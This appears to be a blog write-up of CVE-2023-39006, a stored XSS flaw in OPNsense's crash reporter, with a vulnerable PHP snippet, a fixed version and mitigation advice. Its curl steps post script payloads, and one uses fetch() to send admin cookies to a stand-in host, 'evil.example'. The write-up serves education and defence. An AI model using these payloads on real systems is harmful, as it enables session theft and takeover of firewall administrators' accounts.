OPNsense is a well-known open-source firewall and routing platform based on FreeBSD, loved by home lab enthusiasts and professional sysadmins alike. However, even the best projects sometimes ship with security flaws. In this long read, we’ll walk through CVE-2023-39006 – a vulnerability in OPNsense’s Crash Reporter module (crash_reporter.php) – and give you an exclusive, step-by-step look at how this issue works under the hood and how an attacker could exploit it.

Background: What is crash_reporter.php?

crash_reporter.php is a backend component meant to receive, parse, and process crash report submissions. These crash reports often contain logs and sometimes diagnostic information. Admins or users send this crash info to the OPNsense team to help debug failures.

However, this endpoint is exposed to users with web UI access and accepts various fields. If it doesn’t properly sanitize user input, an attacker might supply *malicious* payloads to do things like inject code, perform cross-site scripting (XSS), or even trigger more serious server-side behaviors.

The Vulnerability: Mishandled Input Sanitization

In versions before OPNsense 23.7, the crash_reporter.php script *did not* sanitize several of the incoming POST fields well enough. For example, a payload like:

POST /crash_reporter.php
Content-Type: application/x-www-form-urlencoded

report=Some%20text%20<script>alert('pwnd')</script>&comment=Hacked!

might have the <script> tags written directly into files, emailed, or displayed in the UI, depending on workflow, *without* filtering.

Why is this a problem?

- Persistence: Reports with script or code could be stored and displayed back to admins, leading to *stored XSS*.
- Elevation: In some logic flows, unsanitized fields could end up in logs, emails, or crash databases. If those are later parsed by something expecting “safe” content, nasty stuff can happen.
- Trust: Crash reporters are often trusted due to their “internal” nature. That trust, mixed with poor sanitization, is a toxic combo.

Original Code Snippet (Simplified, Before Fix)

Here’s a simplified, fictionalized excerpt showing the kind of broken logic (note: for demo purposes only!):

// crash_reporter.php (Old version)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $report = $_POST['report'];    // No sanitization!
    $comment = $_POST['comment'];  // No sanitization!
    // Save report to file or send to dev team
    file_put_contents('/tmp/crash_report.txt', $comment . "\n" . $report);
    echo "Crash report received. Thank you!";
}

Notice: No filtering, no escaping, no HTML sanitization. Whatever you provide goes straight to disk, UI, or onward to staff.

Step 1 – Send a Malicious Crash Report

curl -X POST http://opnsense.local/crash_reporter.php \
  -d "report=Network%20failure%3Cscript%3Ealert('Compromised.This.Admin!')%3C%2Fscript%3E&comment=More%20info%20inside"

Step 2 – Admin Views Crash Reports

If crash reports are presented raw in the web dashboard or emailed to an administrator, the embedded <script> will execute in the context of the admin’s browser when the report is viewed.

Session Stealing: Malicious JavaScript can steal session cookies.

- Privilege Escalation: If the account is highly privileged, further attacks (configuration changes, user management, etc.) are possible.

JavaScript Injection via Crash Report

curl -X POST http://target-opnsense/crash_reporter.php \
  -d "report=Blah%20blah%20<script>fetch('https://evil.example/pwn?cookie='+document.cookie)</script>&comment=No%20problems"

When the admin opens the crash report, their cookies are exfiltrated to the attacker's server.

Reported: Early 2023

- Fixed: In OPNsense stable version 23.7 (Changelog)
- CVE assigned: CVE-2023-39006
- Official advisory: OPNsense Security Advisories

The Fix: Input Sanitization

From version 23.7 onward, crash_reporter.php applies strict sanitization and escaping. Here's what a fixed snippet might look like:

// crash_reporter.php (Fixed)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $report = htmlspecialchars($_POST['report'], ENT_QUOTES, 'UTF-8');
    $comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
    file_put_contents('/tmp/crash_report.txt', $comment . "\n" . $report);
    echo "Crash report received. Thank you!";
}

Now, dangerous tags are rendered safe

Blah blah &lt;script&gt;alert('Hi')&lt;/script&gt;

Restrict Access: Limit the UI and crash reporter endpoint access to trusted admins.

- Sanitize User Input: If developing plugins, always sanitize and/or validate incoming data.

References & Further Reading

- NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2023-39006
- OPNsense Changelog: https://forum.opnsense.org/index.php?topic=36063.
- Security Advisories: https://opnsense.org/about-releases/security-advisories/
- GitHub commit (example): See example patch

Summary

CVE-2023-39006 in OPNsense's crash_reporter.php shows that even backend-only components deserve strong input sanitation. Without it, a simple “crash report” field can become a launchpad for web-based attacks. Always patch, always sanitize, and limit trust—even from your users.

If you run OPNsense, check your version and keep safe!


*Author’s note: This analysis is for educational purposes only. Do not attempt unauthorized testing on systems you do not own.*

Timeline

Published on: 08/09/2023 19:15:00 UTC
Last modified on: 08/14/2023 14:13:00 UTC